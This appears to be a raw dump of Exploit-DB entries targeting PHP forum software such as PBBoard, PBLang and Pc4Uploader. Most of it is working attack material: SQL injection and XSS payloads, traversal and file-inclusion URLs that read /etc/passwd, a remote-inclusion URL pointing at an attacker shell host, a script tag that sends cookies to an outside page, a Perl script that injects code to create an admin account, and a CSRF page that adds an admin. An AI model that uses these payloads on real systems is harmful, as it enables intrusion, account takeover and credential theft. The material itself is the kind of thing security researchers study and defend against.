deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10082
Description: PBBoard 2.0.2 - Full Path Disclosure
Type: webapps
Platform: php
Date: 2009-10-06
Author: rUnViRuS

Exploit:
Advisory]PBBoard <=2.0.2 - Full Path Disclosure
Details
=======
Product: PHP <= PBBoard
Security-Risk: moderated
Remote-Exploit: yes
Vendor-URL: http://www.pbboard.com

Credits
============
Discovered by: rUnViRuS
site: http://www.sec-area.com

Affected Products:
----------------------------
test on PBBoard 2.0.2
maybe work under 2.0.2

More Details
============
1. Full Path Disclosure
-----------------------------------
allow attackers to gather the real path of the server side script.

Proof of concept:
http://www.[xxxxx].com/path/index.php?page=new_topic&index=1&id=union

error
Fatal error: Call to undefined method PowerBBLocalCommon::error() in /home/xxx/public_html/vb/common.php on line 193

code :
// Check if $_GET don't value any SQL Injection
foreach ($PowerBB->_GET as $sql_get)
{
if ((eregi("select", $sql_get)) or
(eregi("union", $sql_get)) or
(eregi("%", $sql_get)))
{
$this->error('&#1592;?&#1592;?&#1591;&#1726; &#1591;¨&#1591;¹&#1592;?&#1592;?&#1592;&#1657;&#1592;? &#1591;&#1563;&#1592;&#1657;&#1591;± &#1592;?&#1591;´&#1591;±&#1592;?&#1591;¹&#1592;?!');
}
}
================
================
2. Full Path Disclosure
-----------------------------------
allow attackers to gather the real path of the server side script.

Proof of concept:
http://www.[xxxx].com/[path]/index.php?page=search&start=1&keyword=§ion=
all&search=1

Warning: filesize() [function.filesize]: stat failed for show_msg in /home/xxxxx/public_html/vb/includes/template.class.php on line 99

Fatal error: ERROR::FILE_SIZE_IS_ZERO in /home/xxxxx/public_html/vb/includes/template.class.php on line 146

--------------------------------------------------
[W]orld [D]efacers [T]eam
http://www.Sec-area.com

--------------------------------------------------
Exploit-DB #11570
Description: PBBoard 2.0.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-24
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PBBoard Version 2.0.5 Mullti Vulnerability   
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iq-ty.com                                                                     
| # Web Site : http://www.pbboard.com/PBBoard_v2.0.5.zip                                                    
| # Dork     : Powered by PBBoard© 2009 Version 2.0.5                                                                                                               
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                                    
======================      Exploit By indoushka       =================================
# Exploit  :  
 
1- Add Admin:

http://127.0.0.1/upload/setup/install/?step=4

2- upload Vulnerability:

Fter register go to

http://127.0.0.1/upload/index.php?page=usercp&control=1&avatar=1&main=1

After Upload go to 2 find 

http://127.0.0.1/Upload/download/avatar/(Ev!l name.php)

Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * Xproratix ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com)
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net 
www.alkrsan.net * www.kadmiwe.net * www.arhack.net   
--------------------------------------------------------------------------------------------------------------
Exploit-DB #18937
Description: PBBoard 2.1.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-05-28
Author: n4ss1m

Exploit:
################################################################################################
# Exploit Title: PBBoard 2.1.4 Local File Inclusion
# Software Link: http://www.pbboard.com/PBBoard_v2.1.4.zip
# Author: n4ss1m
# Date: 25-05-2012
# Tested on: win/linux
# Home : www.Sec4ever.com
################################################################################################
# Exploit-DB note:
# Need to be logged in, at the very least, as 
# a standard user to trigger this vulnerability
#

# Local File Inclusion ( admin.php )

<?php
	define('IN_PowerBB',true);
	$page = empty($_GET['page']) ? 'index' : $_GET['page']; # $page ==>
$_GET['page']
	$page = str_replace( 'note', 'notes', $page );
	$page = str_replace( 'index', 'main', $page );
	$module = ('modules/admin/'.$page.'.module.php'); # $module ==>
'modules/admin/'.$page.'.module.php'
	if (!file_exists($module))
	{
		....
	}
	require_once($module); # Ops ! LFI
	//////////
	$class_name = CLASS_NAME;
	$class_name = new $class_name;
	$class_name->run();
?>

# Explotion
http://domain.tld/admin.php?page=../../[FILENAME][Nullbyte]

# PoC :
http://domain.tld/admin.php?page=../../robots.txt%00

################################################################################################
# References         : http://www.exploit4arab.com/exploits/70
# Vendor reported on : 25-05-2012
# published on       : 27-05-2012
################################################################################################
Exploit-DB #18948
Description: PBBoard 2.1.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-05-29
Author: loneferret

Exploit:
# Title: PBBoard v2.1.4 multiple SQLi Vulnerabilities
# Version: 2.1.4
# Author/Found by: loneferret
# Software Site: http://www.pbboard.com/PBBoard_v2.1.4.zip
# Other vulnerabilities: http://www.exploit-db.com/exploits/18937/
  
# Date found: May 29th 2012
# Tested on: Ubuntu Server 8.04 / PHP Version 5.2.4-2ubuntu5.23
  
# Vulnerability:
# Due to improper sanitization, many of the parameters are injectable.
# Need a user account to trigger these.
  
# As always you can have fun...

PoC:

Page: Personal Options settings
Parameters: style=
			lang=
			hide_online=
			user_time=
			send_allow=
			pm_emailed=
			pm_window=
			visitormessage=
Method: POST
POST DATA:
style=1&lang=1&hide_online=0&user_time=0&send_allow=1&pm_emailed=0&pm_window=1&visitormessage=2' where id='2' and sleep(5)#&send=Save

By changing the 'id' number used in the 'where' clause, you can modify another user's settings.
Id=1 being admin you can, for example, change his/her timezone 
POST DATA:
style=1&lang=1&
hide_online=0&user_time=+10&
send_allow=1&
pm_emailed=0&
pm_window=1&
visitormessage=2' where id='1'#&send=Save

Another thing, you can get an XSS using the MySQL's error message. Which is always funny.
POST DATA:
style=1&
lang=1&
hide_online=0
&user_time=+10&
send_allow=1&
pm_emailed=0&
pm_window=1&
visitormessage=<script>alert('xss');</script>#&send=Save


PoC #2:
Here's another example, where we get mysql to sleep for 5 seconds, as well
as change the admin's (id=1) avatar.

Page: Change avatar
Parameter: avatar_path=
Method: POST
POST DATA:
----------------------------[PII_REDACTED][PII_REDACTED]60806853\r\n
Content-Disposition: form-data; name="options"\r\n
\r\n
list\r\n
----------------------------[PII_REDACTED][PII_REDACTED]60806853\r\n
Content-Disposition: form-data; name="avatar_list"\r\n
\r\n
look/images/avatar/coof.jpg' where id='1' and sleep(5)#\r\n         <--Right Here
----------------------------[PII_REDACTED][PII_REDACTED]60806853\r\n
Content-Disposition: form-data; name="avatar"\r\n
\r\n
http://\r\n
----------------------------[PII_REDACTED][PII_REDACTED]60806853\r\n
Content-Disposition: form-data; name="upload"; filename=""\r\n
Content-Type: application/octet-stream\r\n
\r\n
\r\n
----------------------------[PII_REDACTED][PII_REDACTED]60806853\r\n
Content-Disposition: form-data; name="change_avatar"\r\n
\r\n
Edit Settings\r\n
----------------------------[PII_REDACTED][PII_REDACTED]60806853--\r\n

PoC #3:
SQLi in the cookie. Just need to modify the cookie value using
your favorite tool.
Parameter: PowerBB_username & PowerBB_password
PowerBB_username=loneferret' and sleep(5)#
or 
PowerBB_[CREDENTIAL_REDACTED]' and sleep(5)#
(and if you're wondering there are 58 fields)
Exploit-DB #36295
Description: PBCS Technology - 'articlenav.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-11-08
Author: Kalashinkov3

Exploit:
source: https://www.securityfocus.com/bid/50577/info

PBCS Technology is prone to an SQL Injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/articlenav.php?id=[SQLi]
Exploit-DB #22960
Description: PBLang 4.0/4.56 Bulletin Board System - IMG Tag HTML Injection
Type: webapps
Platform: php
Date: 2003-07-28
Author: Quan Van Truong

Exploit:
source: https://www.securityfocus.com/bid/8286/info

PBLang is prone to an HTML injection vulnerability. An attacker may exploit this issue by including hostile HTML and script code encapsulated in PBLang tags, when posting to the bulletin board. Attacker supplied code may be rendered in the web browser of a user who views these areas of the site. This would occur in the security context of the site hosting PBLang.

[IMG]javascript:window.open("http://localhost/docs.php?docs="+escape
(document.cookie), "subwindows", "height=100,width=486")[/IMG]
Exploit-DB #26434
Description: PBLang 4.65 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-10-27
Author: abducter

Exploit:
source: https://www.securityfocus.com/bid/15223/info

PBLang is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues are reported to affect PBLang version 4.65; other versions may also be vulnerable. 

http://www.example.com/profile.php?u=<script>JavaScript:alert(document.cookie);</script>
http://www.example.com/delpm.php?id=<script>JavaScript:alert(document.cookie);</script>
http://www.example.com/pmpshow.php?num=<script>JavaScript:alert(document.cookie);</script>
Exploit-DB #26231
Description: PBLang 4.65 Bulletin Board System - 'SetCookie.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-09-07
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14765/info

PBLang is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/pblang/setcookie.php?u=../../../../../etc/passwd%00
Exploit-DB #2428
Description: PBLang 4.66z - 'temppath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-25
Author: SHiKaA

Exploit:
#==============================================================================================
#Software PBLang <= v4.66z (temppath) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://sourceforge.net/projects/pblang/      
#                                                                      
#Version : 4.66z & All Versions Bellow                                            
#                                                        
#================================================================================================
#
#Dork : "Software PBLang 4.66z" & "Software PBLang 4.60" or "Software PBLang"
#
#================================================================================================
#Bug in : templates/pb/language/lang_nl.php
#
#Vlu Code :
#--------------------------------
#
#                 include($temppath.'/pb/language/lang_en.php');
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/templates/pb/language/lang_nl.php?temppath=http://SHELLURL.COM
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & HACKERS PAL & XoRoN & Simoo & Saudi HAckerz
==================================================================================================

# milw0rm.com [2006-09-25]
Exploit-DB #3569
Description: PBlang 4.66z - Remote Create Admin
Type: webapps
Platform: php
Date: 2007-03-25
Author: Hessam-x

Exploit:
#!/usr/bin/perl
# PBlang 4.66z Create Admin Exploit
# this exploit *register* a user with admin access
### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;


 $host = $ARGV[0];
 $uname = $ARGV[1];
 $passwd = $ARGV[2];
 $url = "http://".$host;

 print q(
 ###########################################################
 #            PBLANG 4.66z Create Admin Exploit            #
 #                    www.Hessamx.Net                      #
 ################# (C)oded By Hessam-x #####################

);



 if (@ARGV < 3) {
 print " #  usage : xpl.pl [host&path] [uname] [pass]\n";
 print " #  e.g : xpl.pl www.milw0rm.com/pblang/ str0ke 123456\n";
 exit();
 }

   print " [~] User/[CREDENTIAL_REDACTED]/$passwd \n";
   print " [~] Host : $host \n";

 $evilcode  = " \$userlocation=\"hell\"; \$userjoined=\"[PII_REDACTED]\"; \$userhomepage=\"http://\";";
 $evilcode .= " \$useradmin=\"1\"; \$usermod=\"0\"; \$userban=\"0\"; \$userlastvisit=\"[PII_REDACTED]\";";
 $evilcode .= " \$userlastpost=\"[PII_REDACTED]\"; \$userprevvisit=\"[PII_REDACTED]\"; \$useranimsmilies=\"\"; \$lastaliaschange=\"[PII_REDACTED]\"; /*";

 $xpl = LWP::UserAgent->new() or die;
 $cookie_jar = HTTP::Cookies->new();

 $xpl->cookie_jar( $cookie_jar );

   #register
 $reg = $xpl->post($url.'register.php?reg=2',
 Content => [
 "user" => $uname,
 "pass" => $passwd,
 "pass2" => $passwd,
 "em" => 'evil@hell.com',
 "realname" => 'evilcode',
 "alias" => $uname,
 "msn" => 'evilcode',
 "icq" => 'evilcode',
 "aim" => 'evilcode',
 "yahoo" => 'evilcode',
 "qq" => 'evilcode',
 "web" => 'http://',
 "loc" => 'hell',
 "pt" => 'PBLang',
 "av" => 'none',
 "webav" =>'',
 "sig" => 'be Safe',
 "regcode" => '[PII_REDACTED]',
 "lang" => 'en',
 "accept" => '1',
 "Submit" => 'Submit',
 ],);
   print " [~] registered ... \n";

$login = $xpl->post($url.'login.php?id=2',
Content => [
'user' => $uname,
'pass' => $passwd,
'Submit' => 'submit',
],);
$setcookie = $xpl->post($url.'setcookie.php?u='.$uname);
 if($cookie_jar->as_string =~ /$uname/) {
   print " [~] Logined ... \n";
 } else {
 print " [-] Can not Login In $host !\n";
 exit();
 }
 $ecode = $xpl->post($url.'ucp.php?id=2&user='.$uname,
 Content => [
 "npass" => $passwd,
 "npass2" => $passwd,
 "oldpass" => $passwd,
 "emhide" => 'hide',
 "user" => $uname,
 "em" => 'evil@hell.com',
 "realname" => 'evilcode',
 "alias" => $uname,
 "msn" => 'evilcode',
 "icq" => 'evilcode',
 "aim" => 'evilcode\";'.$evilcode,
 "yah" => 'evilcode',
 "qq" => 'evilcode',
 "web" => 'http://',
 "loc" => 'hell',
 "pt" => 'PBLang',
 "av" => 'none',
 "webav" =>'',
 "sig" => '',
 "regcode" => '[PII_REDACTED]',
 "ulang" => '*/ \$userlang=\"en\"; //',
 "accept" => '1',
 "Submit2" => 'Submit',
 ],);


print " [+] You Are Admin Now !!";
print "\n #################################################### \n";

# milw0rm.com [2007-03-25]
Exploit-DB #18590
Description: PBLang Bulletin Board System - Local File Inclusion
Type: webapps
Platform: php
Date: 2012-03-13
Author: Number 7

Exploit:
||\\      || ||       || |-\\          //-|  ____      ________           __________  
|| \\     || ||       || | |\\        //| | |     \   |  ______|         |_______/ /
||  \\    || ||       || | | \\      // | | |  _   \  | |                       / /
||   \\   || ||       || | |  \\    //  | | | |_)  |  | |______    /\`'__\     / /
||    \\  || ||       || | |   \\  //   | | |  _  <   |  ______|   \ \ \/     / /
||     \\ || ||_______|| | |    \\//    | | | |_)  |  | |______     \ \_\    / /
||      \\|| |_________| |_|            |_| |_____/   |________|     \/_/   /_/
______________________________________________________________________________________
# Exploit Title:  [PBLang local file include vulnerability]
# Google Dork:    ["Software PBLang 4.67.16.a"]
# Date:           [12/03/2012]
# Author:         ~Pseudo:  [Number 7];
                  ~ Twitter:[@TunisianSeven];
                  ~ Blog:   [http://tunisianseven.blogspot.com/]
# Software Link:  [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip]
# Version:        [4.67.16.a]
# Tested on:      [wINDOWS,Linux]
______________________________________________________________________________________
Proof of concept:
In setcookie.php
include($dbpath."/members/".$u);

In order to successfully perform this attack the attacker must have
the full path where the files are uploaded, and it is easy to get
making a request like this:

GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1
Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

For requests like this i use acunetix :D
______________________________________________________________________________________
Exploit-DB #25151
Description: PBLang Bulletin Board System 4.6 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-23
Author: Hackerlounge Research Group

Exploit:
source: https://www.securityfocus.com/bid/12631/info

PBLang is reportedly affected by a cross-site scripting vulnerability. This issue exists because the application fails to properly sanitize user-supplied input.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/search.php?s=<script language="javascript">alert("");</script>
Exploit-DB #26597
Description: PBLang Bulletin Board System 4.65 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2005-11-26
Author: r0xes

Exploit:
source: https://www.securityfocus.com/bid/15573/info

PBLang is prone to multiple HTML injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.

Other similar HTML injection issues have been documented for PBLang version 4.65. This issue may be related to those documented in the following BIDs:
- 14728, PBLang Bulletin Board System Multiple Remote Vulnerabilities
- 14766, PBLang Bulletin Board System HTML Injection Vulnerability 

Input to the "URL" field:
'';!--"<script>alert(String.fromCharCode(88,83,83)); </script>

Input to the email field:
dude@what.com'';!--"<mycode>
Exploit-DB #25179
Description: PBLang Bulletin Board System 4.x - 'DelPM.php' Arbitrary Personal Message Deletion
Type: webapps
Platform: php
Date: 2005-03-01
Author: Raven

Exploit:
source: https://www.securityfocus.com/bid/12694/info

PBLang is reported prone to a vulnerability that can allow a registered user to delete arbitrary personal messages. The vulnerability exists due to a design error leading to a lack of access controls. 

http://www.example.com/pblang/delpm.php?id=[PMID]&a=[Target user name]
Exploit-DB #25176
Description: PBLang Bulletin Board System 4.x - 'SendPM.php' Directory Traversal
Type: webapps
Platform: php
Date: 2005-03-01
Author: Raven

Exploit:
source: https://www.securityfocus.com/bid/12690/info

PBLang is reported prone to a directory traversal vulnerability. It is reported that the issue exists due to a lack of sufficient sanitization performed on user-supplied input.

A remote attacker may exploit this condition to reveal the contents of web server readable files. Reports indicate that this will allow a remote attacker to reveal account information for target users including the password hash. 

http://www.example.com/pblang/sendpm.php?to=[username]&subj=[doesntmatter]&num=1&orig=/home/public_html/pblang/db/members/[username]
Exploit-DB #14819
Description: Pc4Uploader 9.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-08-27
Author: RENO

Exploit:
# Exploit Title: pc4uploader [XSRF] Add Admin Exploit# Date: 27-08-2010# Author: RENO
# TeaM : SauDi ViRuS TeaM
# SiTe: WwW.Sa-ViRuS.CoM
# Software Link: http://www.pc4arb.com/product-10.html

<html>
<title>[SvT]</title>
<body bgcolor="#000000" style="background-attachment: fixed" background="http://www.sa-virus.com/reno/bg.gif">
<p
 align="left"><font size="5" 
color="#FFFFFF"><b>                                
 
               
</b></font><b><font color="#FFFFFF" size="5">Pc4Uploader - [XSRF ] Add Admin 
Exploit<br>
                                                                  
    
Author : RENO<br>
                                                         
     TeaM : SauDi ViRuS TeaM<br>
                                                           
    
Site : <a href="http://WwW.Sa-ViRuS.CoM">WwW.Sa-ViRuS.CoM</a><br>
                                                       
      
Email : R7e@HoTMaiL.coM</font></b></p>
<p align="center"> </p>
<p align="center"> </p>

<svt>
<center>

<form method="POST" name="form" action="http://localhost/path/admin/index.php?mod=account&add=saveadmin">
<input type="hidden" name="username" value="R3NO"/>
<input type="hidden" name="password" value="SauDi_ViRuS_TeaM"/>
<input type="hidden" name="email" value="R7e@HoTMaiL.CoM"/>
<input type="hidden" name="setting_rols" value="1"/>
<input type="hidden" name="member_rols" value="1"/>
<input type="hidden" name="files_rols" value="1"/>
<input type="hidden" name="msg_rols" value="1"/>
<input type="hidden" name="news_rols" value="1"/>
<input type="hidden" name="advs_rols" value="1"/>
<input type="hidden" name="links_rols" value="1"/>
<input type="hidden" name="support_rols" value="1"/>
<input type=submit value="Submit">
</p>

</form>
</svt>


</center>
</html>